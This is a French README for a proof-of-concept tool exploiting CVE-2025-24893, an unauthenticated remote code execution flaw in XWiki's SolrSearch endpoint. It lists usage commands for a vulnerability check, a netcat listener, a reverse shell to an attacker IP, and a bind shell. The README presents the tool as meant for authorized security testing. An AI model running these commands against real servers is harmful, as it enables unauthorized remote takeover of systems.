Preuve de concept pour CVE-2025-24893 démontrant une exécution de commande à distance non authentifiée dans XWiki via une évaluation non sécurisée de modèles côté serveur.
Ce dépôt contient une Preuve de Concept (PoC) contrôlée pour CVE-2025-24893, une vulnérabilité d'exécution de commande à distance (RCE) sans authentification affectant XWiki.
La vulnérabilité permet à un attaquant d'exécuter des commandes arbitraires du système d'exploitation sur le serveur en raison d'une évaluation et d'un traitement non sécurisés de templates et scripts côté serveur.
XWiki est une plateforme wiki open-source pour entreprises, couramment utilisée pour :
Étant donné que XWiki est fréquemment déployé sur des serveurs accessibles depuis Internet, les vulnérabilités de sécurité dans la gestion des requêtes et la logique de scripts peuvent avoir un impact réel élevé.
Les entrées contrôlées par l'utilisateur transmises au point de terminaison SolrSearch étaient évaluées de manière incorrecte par le moteur de scripts Groovy et n'étaient pas correctement validées.
Cela a permis aux entrées fournies par l'attaquant d'être interprétées comme du code exécutable côté serveur, entraînant l'exécution de commandes sur le système hôte.
Cette PoC démontre les éléments suivants :
Mode de détection de vulnérabilité Confirme de manière sûre si l'instance cible est vulnérable en exécutant une expression bénigne côté serveur.
Exécution de commande à distance Démontre l'exécution de commandes arbitraires sur le système cible.
Exécution de shell inversé Établit une connexion sortante depuis la cible vers le testeur.
Shell lié (optionnel) Ouvre un shell en écoute sur l'hôte cible (moins fiable que les shells inversés).
python3 xwiki_cve_2025_24893.py http://target:8080 -m check
nc -lvnp 4444
python3 xwiki_cve_2025_24893.py http://target:8080 -m reverse -lh <attacker_ip> -lp 4444
python3 xwiki_cve_2025_24893.py http://target:8080 -m bind -lp 4444
SolrSearchCe projet est fourni strictement à des fins éducatives et pour des tests de sécurité autorisés.
Toute utilisation non autorisée de ce code contre des systèmes sans autorisation explicite est interdite.
Ce dépôt a été créé pour démontrer :